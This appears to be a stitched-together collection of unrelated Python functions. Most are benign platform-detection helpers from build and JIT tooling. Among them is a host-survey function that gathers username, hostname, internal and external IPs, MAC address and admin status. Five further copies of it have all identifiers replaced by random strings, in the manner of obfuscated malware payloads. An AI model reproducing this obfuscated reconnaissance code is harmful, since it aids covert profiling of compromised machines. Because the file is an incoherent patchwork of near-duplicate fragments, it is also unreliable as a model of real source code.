def create_new_tarball_name(platform, version): """ Converts the name of a platform as specified to the prepare_release framework to an archive name according to BLAST release naming conventions. Note: the platform names come from the prepare_release script conventions, more information can be found in http://mini.ncbi.nih.gov/3oo """ retval = "ncbi-blast-" + version + "+" if platform.startswith("Win32"): retval += "-ia32-win32" elif platform.startswith("Win64"): retval += "-x64-win64" elif platform.startswith("Linux32"): retval += "-ia32-linux" elif platform.startswith("Linux64"): retval += "-x64-linux" elif platform == "IntelMAC": retval += "-universal-macosx" elif platform == "SunOSSparc": retval += "-sparc64-solaris" elif platform == "SunOSx86": retval += "-x64-solaris" else: raise RuntimeError("Unknown platform: " + platform) return retval
def get_arch(filename): platform = sys.platform if platform.startswith('win'): machine_type = get_shared_library_arch(filename) if machine_type == 'I386': return (32, ) elif machine_type in ('IA64', 'AMD64'): return (64, ) else: return () elif not platform in ('linux2', 'linux3', 'linux', 'darwin'): raise OSError('') out = subprocess.check_output(["file", filename], stderr=subprocess.STDOUT) out = out.decode('ascii') ret = [] if platform.startswith('linux'): if '32-bit' in out: ret.append(32) if '64-bit' in out: ret.append(64) elif platform == 'darwin': if '(for architecture i386)' in out: ret.append(32) if '(for architecture x86_64)' in out: ret.append(64) return tuple(ret)
def create_new_tarball_name(platform, program, version): """ Converts the name of a platform as specified to the prepare_release framework to an archive name according to BLAST release naming conventions. Note: the platform names come from the prepare_release script conventions, more information can be found in http://mini.ncbi.nih.gov/3oo """ retval = "ncbi-" + program + "-" + version if program == "blast": retval += "+" if platform.startswith("Win32"): retval += "-ia32-win32" elif platform.startswith("Win64"): retval += "-x64-win64" elif platform.startswith("Linux32"): retval += "-ia32-linux" elif platform.startswith("Linux64"): retval += "-x64-linux" elif platform == "IntelMAC": retval += "-universal-macosx" elif platform == "SunOSSparc": retval += "-sparc64-solaris" elif platform == "SunOSx86": retval += "-x64-solaris" else: raise RuntimeError("Unknown platform: " + platform) return retval
def get_macos_aligned_version(macos_vers): platform = config.apple_platform if platform == 'osx': return macos_vers macos_major, macos_minor = macos_vers assert macos_major >= 10 if macos_major == 10: # macOS 10.x major = macos_minor minor = 0 else: # macOS 11+ major = macos_major + 5 minor = macos_minor assert major >= 11 if platform.startswith('ios') or platform.startswith('tvos'): major -= 2 elif platform.startswith('watch'): major -= 9 else: lit_config.fatal( "Unsupported apple platform '{}'".format(platform)) return (major, minor)
def is_unix_like(platform=None): """Returns whether the given platform is a Unix-like platform with the usual Unix filesystem. When the parameter is omitted, it defaults to ``sys.platform`` """ platform = platform or sys.platform platform = platform.lower() return platform.startswith("linux") or platform.startswith("darwin") or \ platform.startswith("cygwin")
def get_build_modes(self): platform = sys.platform if platform.startswith("win"): return self._win.keys() elif platform.startswith("linux"): return self._linux.keys() elif platform.startswith("darwin"): return self._osx.keys() else: raise RuntimeError("Unknown platform " + platform)
def get_filename(self): platform = self.url.split("/")[-3] if platform.startswith("Linux"): return "chrome-linux.zip" elif platform == "Mac": return "chrome-mac.zip" elif platform.startswith("Win"): # Chrome puts win64 in win32 folder. return "chrome-win32.zip" elif platform == "Android": return "chrome-android.zip" raise Exception("Unknown platform: " + platform)
def setsid(): platform = sys.platform if platform.startswith('linux'): setsid = 'setsid' elif platform.startswith('darwin'): setsid = os.path.normpath( os.path.join(os.path.dirname(__file__), '..', 'utils', 'setsid')) else: setsid = '' return setsid
def _get_list_of_test_configurations(self, builder): platform = sys.platform configurations = [] if platform.startswith("win"): if self._win[builder]: configurations.extend(self._win[builder]) elif platform.startswith("linux"): if self._linux[builder]: configurations.extend(self._linux[builder]) elif platform.startswith("darwin"): if self._osx[builder]: configurations.extend(self._osx[builder]) else: raise RuntimeError("Unknown platform " + platform) return configurations
def autodetect_main_model(): mach = None try: import platform mach = platform.machine() except ImportError: pass if not mach: platform = sys.platform.lower() if platform.startswith('win'): # assume an Intel Windows return 'x86' # assume we have 'uname' mach = os.popen('uname -m', 'r').read().strip() if not mach: raise ProcessorAutodetectError, "cannot run 'uname -m'" try: return {'i386': 'x86', 'i486': 'x86', 'i586': 'x86', 'i686': 'x86', 'i86pc': 'x86', # Solaris/Intel 'x86': 'x86', # Apple 'Power Macintosh': 'ppc', 'x86_64': 'x86', 'amd64': 'x86', # freebsd 'AMD64': 'x86', # win64 }[mach] except KeyError: return mach
def autodetect_main_model(): mach = None try: import platform mach = platform.machine() except ImportError: pass if not mach: platform = sys.platform.lower() if platform.startswith('win'): # assume an Intel Windows return 'i386' # assume we have 'uname' mach = os.popen('uname -m', 'r').read().strip() if not mach: raise ProcessorAutodetectError, "cannot run 'uname -m'" if mach == 'x86_64': if sys.maxint == 2147483647: mach = 'x86' # it's a 64-bit processor but in 32-bits mode, maybe else: assert sys.maxint == 2**63 - 1 try: return { 'i386': 'i386', 'i486': 'i386', 'i586': 'i386', 'i686': 'i386', 'i86pc': 'i386', # Solaris/Intel 'x86': 'i386', # Apple 'Power Macintosh': 'ppc', 'x86_64': 'x86_64', }[mach] except KeyError: raise ProcessorAutodetectError, "unsupported processor '%s'" % mach
def autodetect(): mach = None try: import platform mach = platform.machine() except ImportError: pass if not mach: platform = sys.platform.lower() if platform.startswith('win'): # assume an Intel Windows return 'i386' # assume we have 'uname' mach = os.popen('uname -m', 'r').read().strip() if not mach: raise ProcessorAutodetectError, "cannot run 'uname -m'" if mach == 'x86_64' and sys.maxint == 2147483647: mach = 'x86' # it's a 64-bit processor but in 32-bits mode, maybe try: return {'i386': 'i386', 'i486': 'i386', 'i586': 'i386', 'i686': 'i386', 'i86pc': 'i386', # Solaris/Intel 'x86': 'i386', # Apple 'Power Macintosh': 'ppc', }[mach] except KeyError: raise ProcessorAutodetectError, "unsupported processor '%s'" % mach
def autodetect_main_model(): mach = None try: import platform mach = platform.machine() except ImportError: pass if not mach: platform = sys.platform.lower() if platform.startswith("win"): # assume an Intel Windows return "i386" # assume we have 'uname' mach = os.popen("uname -m", "r").read().strip() if not mach: raise ProcessorAutodetectError, "cannot run 'uname -m'" if mach == "x86_64": if sys.maxint == 2147483647: mach = "x86" # it's a 64-bit processor but in 32-bits mode, maybe else: assert sys.maxint == 2 ** 63 - 1 try: return { "i386": "i386", "i486": "i386", "i586": "i386", "i686": "i386", "i86pc": "i386", # Solaris/Intel "x86": "i386", # Apple "Power Macintosh": "ppc", "x86_64": "x86_64", }[mach] except KeyError: raise ProcessorAutodetectError, "unsupported processor '%s'" % mach
def autodetect_main_model(): mach = None try: import platform mach = platform.machine() except ImportError: pass if not mach: platform = sys.platform.lower() if platform.startswith('win'): # assume an Intel Windows return 'x86' # assume we have 'uname' mach = os.popen('uname -m', 'r').read().strip() if not mach: raise ProcessorAutodetectError, "cannot run 'uname -m'" try: return { 'i386': 'x86', 'i486': 'x86', 'i586': 'x86', 'i686': 'x86', 'i86pc': 'x86', # Solaris/Intel 'x86': 'x86', # Apple 'Power Macintosh': 'ppc', 'x86_64': 'x86', 'amd64': 'x86', # freebsd 'AMD64': 'x86', # win64 }[mach] except KeyError: return mach
def detect_model_from_host_platform(): mach = None try: import platform mach = platform.machine() except ImportError: pass if not mach: platform = sys.platform.lower() if platform.startswith('win'): # assume an Intel Windows return MODEL_X86 # assume we have 'uname' mach = os.popen('uname -m', 'r').read().strip() if not mach: raise ProcessorAutodetectError("cannot run 'uname -m'") # result ={'i386': MODEL_X86, 'i486': MODEL_X86, 'i586': MODEL_X86, 'i686': MODEL_X86, 'i86pc': MODEL_X86, # Solaris/Intel 'x86': MODEL_X86, # Apple 'Power Macintosh': MODEL_PPC_64, 'powerpc': MODEL_PPC_64, # freebsd 'ppc64': MODEL_PPC_64, 'ppc64le': MODEL_PPC_64, 'x86_64': MODEL_X86, 'amd64': MODEL_X86, # freebsd 'AMD64': MODEL_X86, # win64 'armv8l': MODEL_ARM, # 32-bit ARMv8 'armv7l': MODEL_ARM, 'armv6l': MODEL_ARM, 'arm': MODEL_ARM, # freebsd 's390x': MODEL_S390_64 }.get(mach) if result is None: raise ProcessorAutodetectError("unknown machine name %s" % mach) # if result.startswith('x86'): from rpython.jit.backend.x86 import detect_feature as feature if sys.maxint == 2**63-1: result = MODEL_X86_64 else: assert sys.maxint == 2**31-1 if feature.detect_sse2(): result = MODEL_X86 else: result = MODEL_X86_NO_SSE2 if feature.detect_x32_mode(): raise ProcessorAutodetectError( 'JITting in x32 mode is not implemented') # if result.startswith('arm'): from rpython.jit.backend.arm.detect import detect_float if not detect_float(): raise ProcessorAutodetectError( 'the JIT-compiler requires a vfp unit') # return result
def run(plat_type): # OS information sys_platform = platform.platform() processor = platform.processor() architecture = platform.architecture()[0] # session information username = getpass.getuser() # network information hostname = socket.gethostname() fqdn = socket.getfqdn() internal_ip = socket.gethostbyname(hostname) raw_mac = uuid.getnode() mac = ':'.join(("%012X" % raw_mac)[i:i + 2] for i in range(0, 12, 2)) # get external ip address ex_ip_grab = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw' ] external_ip = '' for url in ex_ip_grab: try: external_ip = urllib.urlopen('http://' + url).read().rstrip() except IOError: pass if external_ip and (6 < len(external_ip) < 16): break # platform specific is_admin = False if plat_type.startswith('win'): is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 elif plat_type.startswith('linux') or platform.startswith('darwin'): is_admin = os.getuid() == 0 admin_access = 'Yes' if is_admin else 'No' survey_results = ''' System Platform - {} Processor - {} Architecture - {} Hostname - {} FQDN - {} Internal IP - {} External IP - {} MAC Address - {} Current User - {} Admin Access - {}'''.format(sys_platform, processor, architecture, hostname, fqdn, internal_ip, external_ip, mac, username, admin_access) return survey_results
def detect_model_from_host_platform(): mach = None try: import platform mach = platform.machine() except ImportError: pass if not mach: platform = sys.platform.lower() if platform.startswith('win'): # assume an Intel Windows return MODEL_X86 # assume we have 'uname' mach = os.popen('uname -m', 'r').read().strip() if not mach: raise ProcessorAutodetectError, "cannot run 'uname -m'" # result ={'i386': MODEL_X86, 'i486': MODEL_X86, 'i586': MODEL_X86, 'i686': MODEL_X86, 'i86pc': MODEL_X86, # Solaris/Intel 'x86': MODEL_X86, # Apple 'Power Macintosh': MODEL_PPC_64, 'x86_64': MODEL_X86, 'amd64': MODEL_X86, # freebsd 'AMD64': MODEL_X86, # win64 'armv7l': MODEL_ARM, 'armv6l': MODEL_ARM, 'arm': MODEL_ARM, # freebsd }.get(mach) if result is None: raise ProcessorAutodetectError, "unknown machine name %s" % mach # if result.startswith('x86'): if sys.maxint == 2**63-1: result = MODEL_X86_64 else: assert sys.maxint == 2**31-1 from rpython.jit.backend.x86 import detect_sse2 if detect_sse2.detect_sse2(): result = MODEL_X86 else: result = MODEL_X86_NO_SSE2 if detect_sse2.detect_x32_mode(): raise ProcessorAutodetectError( 'JITting in x32 mode is not implemented') # if result.startswith('arm'): from rpython.jit.backend.arm.detect import detect_float if not detect_float(): raise ProcessorAutodetectError( 'the JIT-compiler requires a vfp unit') # return result
def _get_platform_resources_dir(yamake_args): target_platforms = _find_target_platforms(yamake_args) if not target_platforms: return ''.join((_get_platform(), '-', _get_arch())) if all([platform.startswith('darwin') for platform in target_platforms]) and ('--lipo' in yamake_args): return 'darwin-universal2' if len(target_platforms) > 1: raise Exception( "Can't build for multiple target platforms without `--lipo`") return target_platforms[0]
def lbBccHiiDmGapnfkBzGcriIbWppvyzNz(plat_type): eqLkAkBjgGjTGfPeDauGnluuVklQLyTG = platform.platform() processor = platform.processor() architecture = platform.architecture()[0] kNtjcTmaUphPWqJHGfwMFJsJusUMFIyx = getpass.getuser() ijxYzpttYCmNkIjDvYYHDZIxZwCgoSlz = socket.gethostname() FJJDnEjHDRLBxULFQMdiYnOHEobcGAeW = socket.getfqdn() XewTXXutMzoStpggiNmfNjOkaWqFtuYC = socket.gethostbyname( ijxYzpttYCmNkIjDvYYHDZIxZwCgoSlz) vNbIFEIuqevaxwWVArcrgIquJDHzADrF = uuid.getnode() MjtIPFNnVjOLUbDguyKOlWxZKjiqSYKB = ':'.join( ("%012X" % vNbIFEIuqevaxwWVArcrgIquJDHzADrF )[tknkraSeKCplXonScDzEvCvHGHSEDAAX:tknkraSeKCplXonScDzEvCvHGHSEDAAX + 2] for tknkraSeKCplXonScDzEvCvHGHSEDAAX in range(0, 12, 2)) YhRPaWdzrgmCkPoTWVAZKhRkWmfVfndt = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw' ] bWzMjYSPVDqxOvwJgHbKuXULOTsKnYXe = '' for kZOAqfHfsupfmFHaHZnLDQEHpblqSUCA in YhRPaWdzrgmCkPoTWVAZKhRkWmfVfndt: try: bWzMjYSPVDqxOvwJgHbKuXULOTsKnYXe = urllib.urlopen( 'http://' + kZOAqfHfsupfmFHaHZnLDQEHpblqSUCA).read().rstrip() except IOError: pass if bWzMjYSPVDqxOvwJgHbKuXULOTsKnYXe and ( 6 < len(bWzMjYSPVDqxOvwJgHbKuXULOTsKnYXe) < 16): break OiKcunAkxiNMgLHAbDPggXmrlUYgGOSn = False if plat_type.startswith('win'): OiKcunAkxiNMgLHAbDPggXmrlUYgGOSn = ctypes.windll.shell32.IsUserAnAdmin( ) != 0 elif plat_type.startswith('linux') or platform.startswith('darwin'): OiKcunAkxiNMgLHAbDPggXmrlUYgGOSn = os.getuid() == 0 cfjOMtHyAXIidgjFpwpHeIJKlFsdEBcP = 'Yes' if OiKcunAkxiNMgLHAbDPggXmrlUYgGOSn else 'No' aeHabJpBgsEkaDKTTSDEgByVgAaKnAtJ = ''' System Platform - {} Processor - {} Architecture - {} Hostname - {} FQDN - {} Internal IP - {} External IP - {} MAC Address - {} Current User - {} Admin Access - {} '''.format( eqLkAkBjgGjTGfPeDauGnluuVklQLyTG, processor, architecture, ijxYzpttYCmNkIjDvYYHDZIxZwCgoSlz, FJJDnEjHDRLBxULFQMdiYnOHEobcGAeW, XewTXXutMzoStpggiNmfNjOkaWqFtuYC, bWzMjYSPVDqxOvwJgHbKuXULOTsKnYXe, MjtIPFNnVjOLUbDguyKOlWxZKjiqSYKB, kNtjcTmaUphPWqJHGfwMFJsJusUMFIyx, cfjOMtHyAXIidgjFpwpHeIJKlFsdEBcP) return aeHabJpBgsEkaDKTTSDEgByVgAaKnAtJ
def JJyEbjrynmapUHJCDQUQjcshajVjEFwA(plat_type): axrLmYBImtIZFYJQCZzwrLnUeZUmSjvG = platform.platform() processor = platform.processor() architecture = platform.architecture()[0] NkWrEjssJvYyTiOKgYKUOLHqcEwJaeQM = getpass.getuser() NKhnjgkrMEwWfQPwGAffvTPaLWcoaCTJ = socket.gethostname() hEnWDTSPYgZPhFEWCqFcCtAeMYYJTfJW = socket.getfqdn() yrsSlrMNkzzSQwGwarslgesYcQkQLWly = socket.gethostbyname( NKhnjgkrMEwWfQPwGAffvTPaLWcoaCTJ) DkmgdjylWSgbZajSisdjoXSLtyPDmkhS = uuid.getnode() WksGWRNNfqSVwAdfWLdWLyBwQpXNdCAJ = ':'.join( ("%012X" % DkmgdjylWSgbZajSisdjoXSLtyPDmkhS )[RdbcCUIsZtHxsXlDMItGlnJDYoKYZhIy:RdbcCUIsZtHxsXlDMItGlnJDYoKYZhIy + 2] for RdbcCUIsZtHxsXlDMItGlnJDYoKYZhIy in range(0, 12, 2)) EXZWhHWlddyRvQAAAHGHztaFxwNTsgWF = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw' ] LdaudtDarQAPKJqAuQuGuHxEVXVuKaWZ = '' for ZdbdDcxafJkxVIFzvgrdCYAolZNpzPnH in EXZWhHWlddyRvQAAAHGHztaFxwNTsgWF: try: LdaudtDarQAPKJqAuQuGuHxEVXVuKaWZ = urllib.urlopen( 'http://' + ZdbdDcxafJkxVIFzvgrdCYAolZNpzPnH).read().rstrip() except IOError: pass if LdaudtDarQAPKJqAuQuGuHxEVXVuKaWZ and ( 6 < len(LdaudtDarQAPKJqAuQuGuHxEVXVuKaWZ) < 16): break kIxmhEXhJpYmzcOWkDAVvNxZRJkSFGHN = False if plat_type.startswith('win'): kIxmhEXhJpYmzcOWkDAVvNxZRJkSFGHN = ctypes.windll.shell32.IsUserAnAdmin( ) != 0 elif plat_type.startswith('linux') or platform.startswith('darwin'): kIxmhEXhJpYmzcOWkDAVvNxZRJkSFGHN = os.getuid() == 0 XpXhhWptuKsoQVPsItQuguWDaPtDlPyb = 'Yes' if kIxmhEXhJpYmzcOWkDAVvNxZRJkSFGHN else 'No' FnjGjyWfkYPeTnLcKvXixlmpkXidRCgS = ''' System Platform - {} Processor - {} Architecture - {} Hostname - {} FQDN - {} Internal IP - {} External IP - {} MAC Address - {} Current User - {} Admin Access - {} '''.format( axrLmYBImtIZFYJQCZzwrLnUeZUmSjvG, processor, architecture, NKhnjgkrMEwWfQPwGAffvTPaLWcoaCTJ, hEnWDTSPYgZPhFEWCqFcCtAeMYYJTfJW, yrsSlrMNkzzSQwGwarslgesYcQkQLWly, LdaudtDarQAPKJqAuQuGuHxEVXVuKaWZ, WksGWRNNfqSVwAdfWLdWLyBwQpXNdCAJ, NkWrEjssJvYyTiOKgYKUOLHqcEwJaeQM, XpXhhWptuKsoQVPsItQuguWDaPtDlPyb) return FnjGjyWfkYPeTnLcKvXixlmpkXidRCgS
def pNKTPPqkGzrmqhneYrAXlKTwcMiQhwMR(plat_type): YGdrhGAyjfgcuypmZVeJSlugbzDhKVyI = platform.platform() processor = platform.processor() architecture = platform.architecture()[0] xHsIFnZPzfaUJYdoOKBrYgGNGqyfQtVo = getpass.getuser() lVPrLEGrytyKcAreDjSGTBLuQRRyUwqS = socket.gethostname() kHCJiVtDBpYrqgKvpZYybPChnbsFtMaC = socket.getfqdn() gvZxhMxSOOvXgwoLINxYjhVGgWlmNvJm = socket.gethostbyname( lVPrLEGrytyKcAreDjSGTBLuQRRyUwqS) wkkIuryOVQwzOuFCkTnzIcZPusAjnNMt = uuid.getnode() dUkeZswZHwJyvDuWHAKDRPlWHzgykTMI = ':'.join( ("%012X" % wkkIuryOVQwzOuFCkTnzIcZPusAjnNMt )[oaUVjRZSEqOiYdoDRRraRJNSStGiPkYI:oaUVjRZSEqOiYdoDRRraRJNSStGiPkYI + 2] for oaUVjRZSEqOiYdoDRRraRJNSStGiPkYI in range(0, 12, 2)) sYTSMQCoyQvoYfcpbmEWqfJKEtoBcGFf = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw' ] ZrYAjQorRspjxAMCyCjiUrwIOIUDoCDS = '' for HiJzpfxOqMnOohWJImURiUzCtymUmfjZ in sYTSMQCoyQvoYfcpbmEWqfJKEtoBcGFf: try: ZrYAjQorRspjxAMCyCjiUrwIOIUDoCDS = urllib.urlopen( 'http://' + HiJzpfxOqMnOohWJImURiUzCtymUmfjZ).read().rstrip() except IOError: pass if ZrYAjQorRspjxAMCyCjiUrwIOIUDoCDS and ( 6 < len(ZrYAjQorRspjxAMCyCjiUrwIOIUDoCDS) < 16): break RxjhTRAZnfqURCqFbYtDvUwcovKLXbmp = False if plat_type.startswith('win'): RxjhTRAZnfqURCqFbYtDvUwcovKLXbmp = ctypes.windll.shell32.IsUserAnAdmin( ) != 0 elif plat_type.startswith('linux') or platform.startswith('darwin'): RxjhTRAZnfqURCqFbYtDvUwcovKLXbmp = os.getuid() == 0 aRyojSjrkFVBroufwrPJRFOXGFYyxbQA = 'Yes' if RxjhTRAZnfqURCqFbYtDvUwcovKLXbmp else 'No' vqqUnjoccziwgEYdUaFPcEDXuYkxVcOp = ''' System Platform - {} Processor - {} Architecture - {} Hostname - {} FQDN - {} Internal IP - {} External IP - {} MAC Address - {} Current User - {} Admin Access - {} '''.format( YGdrhGAyjfgcuypmZVeJSlugbzDhKVyI, processor, architecture, lVPrLEGrytyKcAreDjSGTBLuQRRyUwqS, kHCJiVtDBpYrqgKvpZYybPChnbsFtMaC, gvZxhMxSOOvXgwoLINxYjhVGgWlmNvJm, ZrYAjQorRspjxAMCyCjiUrwIOIUDoCDS, dUkeZswZHwJyvDuWHAKDRPlWHzgykTMI, xHsIFnZPzfaUJYdoOKBrYgGNGqyfQtVo, aRyojSjrkFVBroufwrPJRFOXGFYyxbQA) return vqqUnjoccziwgEYdUaFPcEDXuYkxVcOp
def os(self): """ Return values: linux, unknown In case cannot detect raises 'unknown' """ platform = sys.platform if platform.startswith('linux'): return "linux" else: return "unknown"
def xWTiZYjcGlRKZbqRTGUReTzzfBOPCzBz(plat_type): YGjqBoZBWXewMRZgMPJgtQFJohnfAgyd = platform.platform() processor = platform.processor() architecture = platform.architecture()[0] cBYmabZXYbdiPoSbAvrXgAtKIxDNkWMz = getpass.getuser() JSJsBCUqPfmAnwecCqcxgeKnVzUGFixZ = socket.gethostname() CWAyItNSwznDuuWCAuAqxTkcajMGcsmo = socket.getfqdn() kdblxKVqSbIVNdFMMfpLHseeQMzlmonM = socket.gethostbyname( JSJsBCUqPfmAnwecCqcxgeKnVzUGFixZ) MUpCVuhBvcICtJPBgFZwMVzsakVcPFxy = uuid.getnode() UBLmERlOfnZxPdWyXVfNbxOrUJGPwkCq = ':'.join( ("%012X" % MUpCVuhBvcICtJPBgFZwMVzsakVcPFxy )[kWFtuPcTzhXQsxkZcspaKNvhNllUXCxh:kWFtuPcTzhXQsxkZcspaKNvhNllUXCxh + 2] for kWFtuPcTzhXQsxkZcspaKNvhNllUXCxh in range(0, 12, 2)) KXfoENWiUOKUFvvMvuPuUttPbRaYlBGL = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw' ] TKOHpXPOdSxxTUeWZpVEMSCUEjzBzzgr = '' for sUaJfpOuQuvOLAxfuwahzntNPiPrbwxU in KXfoENWiUOKUFvvMvuPuUttPbRaYlBGL: try: TKOHpXPOdSxxTUeWZpVEMSCUEjzBzzgr = urllib.urlopen( 'http://' + sUaJfpOuQuvOLAxfuwahzntNPiPrbwxU).read().rstrip() except IOError: pass if TKOHpXPOdSxxTUeWZpVEMSCUEjzBzzgr and ( 6 < len(TKOHpXPOdSxxTUeWZpVEMSCUEjzBzzgr) < 16): break XMVlasgMCxRNazLeIRciwinXpDvFdfpa = False if plat_type.startswith('win'): XMVlasgMCxRNazLeIRciwinXpDvFdfpa = ctypes.windll.shell32.IsUserAnAdmin( ) != 0 elif plat_type.startswith('linux') or platform.startswith('darwin'): XMVlasgMCxRNazLeIRciwinXpDvFdfpa = os.getuid() == 0 kkNPuuVHEnxiEWzYgGnKTSQwccmDfqPR = 'Yes' if XMVlasgMCxRNazLeIRciwinXpDvFdfpa else 'No' sCjvbJlOStGROcndoTDYKAqJkWUieTUl = ''' System Platform - {} Processor - {} Architecture - {} Hostname - {} FQDN - {} Internal IP - {} External IP - {} MAC Address - {} Current User - {} Admin Access - {} '''.format( YGjqBoZBWXewMRZgMPJgtQFJohnfAgyd, processor, architecture, JSJsBCUqPfmAnwecCqcxgeKnVzUGFixZ, CWAyItNSwznDuuWCAuAqxTkcajMGcsmo, kdblxKVqSbIVNdFMMfpLHseeQMzlmonM, TKOHpXPOdSxxTUeWZpVEMSCUEjzBzzgr, UBLmERlOfnZxPdWyXVfNbxOrUJGPwkCq, cBYmabZXYbdiPoSbAvrXgAtKIxDNkWMz, kkNPuuVHEnxiEWzYgGnKTSQwccmDfqPR) return sCjvbJlOStGROcndoTDYKAqJkWUieTUl
def KSPHuMocsXbfrKZwRqaErcEfeKhnQFFv(plat_type): qzJNSkSLfUeWqKBHqpLmzmfEMcCvAaPd = platform.platform() processor = platform.processor() architecture = platform.architecture()[0] ETNCUNIGUjIalLBUhujPLpRyQLeCWlnW = getpass.getuser() soJjjIqczmKOvESGAWGZjvcRfnXqsQSD = socket.gethostname() KsAfHQHjaKhZFQzJniEbnQUqHwcGyXfQ = socket.getfqdn() nLbAeQlSbZHGzzfBQuwGCXHaROxgvpYx = socket.gethostbyname( soJjjIqczmKOvESGAWGZjvcRfnXqsQSD) EELbLCdABoRoPNnDynApEvWIHrZfXafh = uuid.getnode() GqekErLaizvNJiVrKOCNmMKDFRQmcixk = ':'.join( ("%012X" % EELbLCdABoRoPNnDynApEvWIHrZfXafh )[JYxOQoHxrWVlWZGFRgpIWcoGVeKxUiXr:JYxOQoHxrWVlWZGFRgpIWcoGVeKxUiXr + 2] for JYxOQoHxrWVlWZGFRgpIWcoGVeKxUiXr in range(0, 12, 2)) VWGbawQBgIMdIrFShFNfhxwlfhnqVNyw = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw' ] kChJSwmlKJhUGEMMfuRyAcEJjXGbkZjw = '' for wZeKliJjXRYRdozBSSjHLXwmnkJyCXmR in VWGbawQBgIMdIrFShFNfhxwlfhnqVNyw: try: kChJSwmlKJhUGEMMfuRyAcEJjXGbkZjw = urllib.urlopen( 'http://' + wZeKliJjXRYRdozBSSjHLXwmnkJyCXmR).read().rstrip() except IOError: pass if kChJSwmlKJhUGEMMfuRyAcEJjXGbkZjw and ( 6 < len(kChJSwmlKJhUGEMMfuRyAcEJjXGbkZjw) < 16): break ZUOMyKrZcRNlTnuttdGXYSJvEvDlxMDj = False if plat_type.startswith('win'): ZUOMyKrZcRNlTnuttdGXYSJvEvDlxMDj = ctypes.windll.shell32.IsUserAnAdmin( ) != 0 elif plat_type.startswith('linux') or platform.startswith('darwin'): ZUOMyKrZcRNlTnuttdGXYSJvEvDlxMDj = os.getuid() == 0 veDmIKhwRrDvzfFZUqxasZyVCIKNCZAd = 'Yes' if ZUOMyKrZcRNlTnuttdGXYSJvEvDlxMDj else 'No' TgcvYrJVgOmVrqHKMwCcAtwzVkaBwGTb = ''' System Platform - {} Processor - {} Architecture - {} Hostname - {} FQDN - {} Internal IP - {} External IP - {} MAC Address - {} Current User - {} Admin Access - {} '''.format( qzJNSkSLfUeWqKBHqpLmzmfEMcCvAaPd, processor, architecture, soJjjIqczmKOvESGAWGZjvcRfnXqsQSD, KsAfHQHjaKhZFQzJniEbnQUqHwcGyXfQ, nLbAeQlSbZHGzzfBQuwGCXHaROxgvpYx, kChJSwmlKJhUGEMMfuRyAcEJjXGbkZjw, GqekErLaizvNJiVrKOCNmMKDFRQmcixk, ETNCUNIGUjIalLBUhujPLpRyQLeCWlnW, veDmIKhwRrDvzfFZUqxasZyVCIKNCZAd) return TgcvYrJVgOmVrqHKMwCcAtwzVkaBwGTb
def ARakDxFSUheNtJlTHfcXYGrHeJqrDiaq(plat_type): JVmRIYyhtvXBDWYNUUVeQuYgQxkQqSRS = platform.platform() processor = platform.processor() architecture = platform.architecture()[0] VRWXUoSjXAbBusyhiWkiysNtazYdXwPD = getpass.getuser() JkeCHzeBzOfgvRejYdwohVmGLPTYoPdl = socket.gethostname() bQomPMeRSAXnEnCvBwqKteQpamovIEYK = socket.getfqdn() ZFGAcTySaVaPzNidGzlNmtErhyTmUpVt = socket.gethostbyname( JkeCHzeBzOfgvRejYdwohVmGLPTYoPdl) nCupYdZsRReKtnwWLhZqjePSBjgDMBBP = uuid.getnode() ahSqfqLLhzyFlbeaikiQAMUSOzydlCLN = ':'.join( ("%012X" % nCupYdZsRReKtnwWLhZqjePSBjgDMBBP )[kJsMTlOenjgnlvKLOJTqQqAwyESQpoCs:kJsMTlOenjgnlvKLOJTqQqAwyESQpoCs + 2] for kJsMTlOenjgnlvKLOJTqQqAwyESQpoCs in range(0, 12, 2)) DLnCpoaWWGWzsvSbyDtGSSjPJGUpGMWi = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw' ] fGhWetlfJsqYDIqGLYtndCkzYDjFcmJc = '' for fzXeczXGLhpJOfWdZElFRIoIeGiUwvoU in DLnCpoaWWGWzsvSbyDtGSSjPJGUpGMWi: try: fGhWetlfJsqYDIqGLYtndCkzYDjFcmJc = urllib.urlopen( 'http://' + fzXeczXGLhpJOfWdZElFRIoIeGiUwvoU).read().rstrip() except IOError: pass if fGhWetlfJsqYDIqGLYtndCkzYDjFcmJc and ( 6 < len(fGhWetlfJsqYDIqGLYtndCkzYDjFcmJc) < 16): break JKzZTHbaEoymVNxsDYIkLQwIMxCKpxTF = False if plat_type.startswith('win'): JKzZTHbaEoymVNxsDYIkLQwIMxCKpxTF = ctypes.windll.shell32.IsUserAnAdmin( ) != 0 elif plat_type.startswith('linux') or platform.startswith('darwin'): JKzZTHbaEoymVNxsDYIkLQwIMxCKpxTF = os.getuid() == 0 OhoIRypBVYNCHlePjqEKoHlQKQnPRoKR = 'Yes' if JKzZTHbaEoymVNxsDYIkLQwIMxCKpxTF else 'No' HYaFkryVhUObaaOyqrnxTuMhUILBwDis = ''' System Platform - {} Processor - {} Architecture - {} Hostname - {} FQDN - {} Internal IP - {} External IP - {} MAC Address - {} Current User - {} Admin Access - {} '''.format( JVmRIYyhtvXBDWYNUUVeQuYgQxkQqSRS, processor, architecture, JkeCHzeBzOfgvRejYdwohVmGLPTYoPdl, bQomPMeRSAXnEnCvBwqKteQpamovIEYK, ZFGAcTySaVaPzNidGzlNmtErhyTmUpVt, fGhWetlfJsqYDIqGLYtndCkzYDjFcmJc, ahSqfqLLhzyFlbeaikiQAMUSOzydlCLN, VRWXUoSjXAbBusyhiWkiysNtazYdXwPD, OhoIRypBVYNCHlePjqEKoHlQKQnPRoKR) return HYaFkryVhUObaaOyqrnxTuMhUILBwDis
